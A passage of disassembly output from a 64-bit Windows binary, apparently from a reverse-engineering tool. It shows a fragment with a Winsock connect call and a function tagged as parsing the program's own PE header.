movsxd rcx, dword [0x140005678]
lea rdx, [rsp + 0x20]
mov r8d, reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x1400012b0
call section..text
int3

Function at 0x140001bec
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001c36
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001c36
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001c36
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001c36
cmp dword [rcx + 0x84], 0xe
jbe 0x140001c36
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001c38
xor al, al
add rsp, 0x28
ret